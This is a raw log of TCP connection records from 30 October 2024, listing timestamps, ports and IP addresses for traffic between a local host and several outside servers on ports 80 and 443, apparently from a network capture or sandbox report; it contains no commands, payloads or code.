Oct 30, 2024 08:14:19.508110046 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508143902 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.508156061 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508188963 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.508311987 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508353949 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508356094 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.508378029 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508394957 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.508409977 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.508457899 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508467913 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508476973 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508500099 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.508513927 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.508582115 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508599043 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508609056 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508630991 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.508641005 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.508846045 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508892059 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.508907080 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508917093 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.508939028 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.509000063 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.509011030 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.509042025 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.509953976 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.509998083 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510001898 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.510009050 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510037899 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.510118961 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510129929 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510138988 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510149956 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510162115 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.510176897 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.510312080 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510322094 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510330915 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510340929 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510358095 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.510370970 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.510551929 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510562897 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510567904 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510571957 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510582924 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510595083 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510601044 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.510605097 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510615110 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.510616064 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510627031 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510629892 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.510646105 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.510662079 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.510859966 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510870934 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510879993 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510891914 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510902882 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.510910988 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.510926008 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.510938883 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.511003971 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.511044025 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.511193037 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.511203051 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.511212111 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.511223078 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.511233091 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.511239052 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.511248112 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.511254072 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.511259079 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.511267900 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.511269093 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.511280060 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.511282921 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.511290073 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.511298895 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.511300087 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.511307955 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.511317968 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.511328936 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.511343002 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.608706951 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.608746052 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.608767033 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.608781099 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.608788013 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.608800888 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.609065056 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.609558105 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.609612942 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.609626055 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.609630108 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.609662056 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.609687090 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.609698057 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.609710932 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.609723091 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.609726906 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.609746933 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.609755039 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.610264063 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.610317945 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.610325098 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.610341072 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.610368967 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.610379934 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.610420942 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.610434055 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.610471964 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.610918045 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.610955000 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.610971928 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.610996008 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.611175060 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.611228943 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.611228943 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.611242056 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.611272097 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.611284018 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.611597061 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.611653090 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.611653090 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.611690998 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.611696005 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.611705065 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.611735106 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.611747026 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.611829996 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.611843109 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.611855030 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.611871958 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.611881971 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.611891031 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.611916065 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.611934900 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.611979008 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.612592936 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.612647057 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.612649918 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.612660885 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.612751961 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.612761021 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.612773895 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.612823963 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.613069057 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.613173008 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.613179922 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.613184929 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.613195896 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.613214970 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.613226891 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.613239050 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.613253117 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.613269091 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.613281012 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.614012003 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.614073992 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.614087105 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.614170074 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.614218950 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.614340067 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.614398956 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.614408970 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.614411116 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.614459991 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.614484072 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.614495039 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.614506006 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.614532948 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.614551067 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.614579916 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.615089893 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.615119934 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.615133047 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.615149975 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.615164042 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.615170002 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.615521908 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.615535021 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.615549088 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.615561962 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.615576982 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.615585089 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.615606070 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.615745068 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.615783930 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.615793943 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.615796089 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.615833044 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.615855932 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.615869045 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.615881920 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.615896940 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.615910053 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.616233110 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.616276026 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.616286993 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:19.616286993 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.616324902 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:19.898577929 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:25.737227917 CET	49166	80	192.168.2.22	158.101.44.242
Oct 30, 2024 08:14:25.742647886 CET	80	49166	158.101.44.242	192.168.2.22
Oct 30, 2024 08:14:25.742722988 CET	49166	80	192.168.2.22	158.101.44.242
Oct 30, 2024 08:14:25.751063108 CET	49166	80	192.168.2.22	158.101.44.242
Oct 30, 2024 08:14:25.756349087 CET	80	49166	158.101.44.242	192.168.2.22
Oct 30, 2024 08:14:26.415436029 CET	80	49166	158.101.44.242	192.168.2.22
Oct 30, 2024 08:14:26.626916885 CET	80	49166	158.101.44.242	192.168.2.22
Oct 30, 2024 08:14:26.627047062 CET	49166	80	192.168.2.22	158.101.44.242
Oct 30, 2024 08:14:28.439865112 CET	49166	80	192.168.2.22	158.101.44.242
Oct 30, 2024 08:14:28.445117950 CET	80	49166	158.101.44.242	192.168.2.22
Oct 30, 2024 08:14:28.594269991 CET	80	49166	158.101.44.242	192.168.2.22
Oct 30, 2024 08:14:28.642962933 CET	49167	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:28.643004894 CET	443	49167	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:28.643065929 CET	49167	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:28.782001019 CET	49167	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:28.782037020 CET	443	49167	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:28.806952953 CET	80	49166	158.101.44.242	192.168.2.22
Oct 30, 2024 08:14:28.807024956 CET	49166	80	192.168.2.22	158.101.44.242
Oct 30, 2024 08:14:29.394224882 CET	443	49167	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:29.394360065 CET	49167	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:29.399173975 CET	49167	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:29.399197102 CET	443	49167	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:29.399507999 CET	443	49167	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:29.460791111 CET	49167	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:29.503345013 CET	443	49167	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:29.600426912 CET	443	49167	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:29.600497007 CET	443	49167	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:29.600588083 CET	49167	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:29.609613895 CET	49167	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:29.624443054 CET	49166	80	192.168.2.22	158.101.44.242
Oct 30, 2024 08:14:29.631328106 CET	80	49166	158.101.44.242	192.168.2.22
Oct 30, 2024 08:14:29.779253006 CET	80	49166	158.101.44.242	192.168.2.22
Oct 30, 2024 08:14:29.782351971 CET	49168	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:29.782378912 CET	443	49168	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:29.782434940 CET	49168	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:29.782906055 CET	49168	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:29.782917976 CET	443	49168	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:29.981163979 CET	49166	80	192.168.2.22	158.101.44.242
Oct 30, 2024 08:14:30.403060913 CET	443	49168	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:30.411058903 CET	49168	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:30.411083937 CET	443	49168	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:30.554591894 CET	443	49168	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:30.554660082 CET	443	49168	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:30.554748058 CET	49168	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:30.815028906 CET	49168	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:31.502437115 CET	49166	80	192.168.2.22	158.101.44.242
Oct 30, 2024 08:14:31.508424997 CET	80	49166	158.101.44.242	192.168.2.22
Oct 30, 2024 08:14:31.508513927 CET	49166	80	192.168.2.22	158.101.44.242
Oct 30, 2024 08:14:31.526866913 CET	49169	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:31.532283068 CET	80	49169	193.122.6.168	192.168.2.22
Oct 30, 2024 08:14:31.535399914 CET	49169	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:31.535645008 CET	49169	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:31.540975094 CET	80	49169	193.122.6.168	192.168.2.22
Oct 30, 2024 08:14:32.377108097 CET	80	49169	193.122.6.168	192.168.2.22
Oct 30, 2024 08:14:32.393290043 CET	49170	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:32.393341064 CET	443	49170	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:32.393404961 CET	49170	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:32.393884897 CET	49170	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:32.393902063 CET	443	49170	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:32.586407900 CET	49169	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:32.590984106 CET	80	49169	193.122.6.168	192.168.2.22
Oct 30, 2024 08:14:32.591069937 CET	49169	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:33.019300938 CET	443	49170	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:33.022341967 CET	49170	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:33.022371054 CET	443	49170	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:33.161798954 CET	443	49170	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:33.161962986 CET	443	49170	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:33.162066936 CET	49170	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:33.162765026 CET	49170	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:33.176868916 CET	49169	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:33.182456970 CET	80	49169	193.122.6.168	192.168.2.22
Oct 30, 2024 08:14:33.182532072 CET	49169	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:33.202389002 CET	49171	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:33.208878040 CET	80	49171	193.122.6.168	192.168.2.22
Oct 30, 2024 08:14:33.208940983 CET	49171	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:33.209093094 CET	49171	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:33.215476036 CET	80	49171	193.122.6.168	192.168.2.22
Oct 30, 2024 08:14:34.056884050 CET	80	49171	193.122.6.168	192.168.2.22
Oct 30, 2024 08:14:34.079502106 CET	49172	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:34.079550982 CET	443	49172	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:34.079602003 CET	49172	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:34.080138922 CET	49172	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:34.080152035 CET	443	49172	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:34.270807981 CET	80	49171	193.122.6.168	192.168.2.22
Oct 30, 2024 08:14:34.270926952 CET	49171	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:34.695266962 CET	443	49172	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:34.699724913 CET	49172	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:34.699759007 CET	443	49172	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:34.839626074 CET	443	49172	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:34.839828014 CET	443	49172	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:34.840938091 CET	49172	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:34.840938091 CET	49172	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:34.916142941 CET	49173	80	192.168.2.22	132.226.247.73
Oct 30, 2024 08:14:34.921611071 CET	80	49173	132.226.247.73	192.168.2.22
Oct 30, 2024 08:14:34.921821117 CET	49173	80	192.168.2.22	132.226.247.73
Oct 30, 2024 08:14:34.921821117 CET	49173	80	192.168.2.22	132.226.247.73
Oct 30, 2024 08:14:34.927251101 CET	80	49173	132.226.247.73	192.168.2.22
Oct 30, 2024 08:14:35.790563107 CET	80	49173	132.226.247.73	192.168.2.22
Oct 30, 2024 08:14:35.886960983 CET	49174	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:35.887007952 CET	443	49174	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:35.887074947 CET	49174	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:35.903563976 CET	49174	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:35.903593063 CET	443	49174	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:35.998841047 CET	80	49173	132.226.247.73	192.168.2.22
Oct 30, 2024 08:14:35.999020100 CET	49173	80	192.168.2.22	132.226.247.73
Oct 30, 2024 08:14:36.546258926 CET	443	49174	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:36.550761938 CET	49174	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:36.550787926 CET	443	49174	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:36.699718952 CET	443	49174	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:36.699805021 CET	443	49174	188.114.97.3	192.168.2.22
Oct 30, 2024 08:14:36.699867964 CET	49174	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:36.702585936 CET	49174	443	192.168.2.22	188.114.97.3
Oct 30, 2024 08:14:36.738073111 CET	49173	80	192.168.2.22	132.226.247.73
Oct 30, 2024 08:14:36.743669033 CET	80	49173	132.226.247.73	192.168.2.22
Oct 30, 2024 08:14:36.743742943 CET	49173	80	192.168.2.22	132.226.247.73
Oct 30, 2024 08:14:36.776213884 CET	49175	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:36.781574965 CET	80	49175	193.122.6.168	192.168.2.22
Oct 30, 2024 08:14:36.781641960 CET	49175	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:36.781786919 CET	49175	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:36.787110090 CET	80	49175	193.122.6.168	192.168.2.22
Oct 30, 2024 08:14:37.633635044 CET	80	49175	193.122.6.168	192.168.2.22
Oct 30, 2024 08:14:37.651210070 CET	49176	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:37.651251078 CET	443	49176	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:37.651316881 CET	49176	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:37.651743889 CET	49176	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:37.651762009 CET	443	49176	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:37.842832088 CET	80	49175	193.122.6.168	192.168.2.22
Oct 30, 2024 08:14:37.842890978 CET	49175	80	192.168.2.22	193.122.6.168
Oct 30, 2024 08:14:38.269531965 CET	443	49176	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:38.272588968 CET	49176	443	192.168.2.22	188.114.96.3
Oct 30, 2024 08:14:38.272614002 CET	443	49176	188.114.96.3	192.168.2.22
Oct 30, 2024 08:14:38.412597895 CET	443	49176	188.114.96.3	192.168.2.22
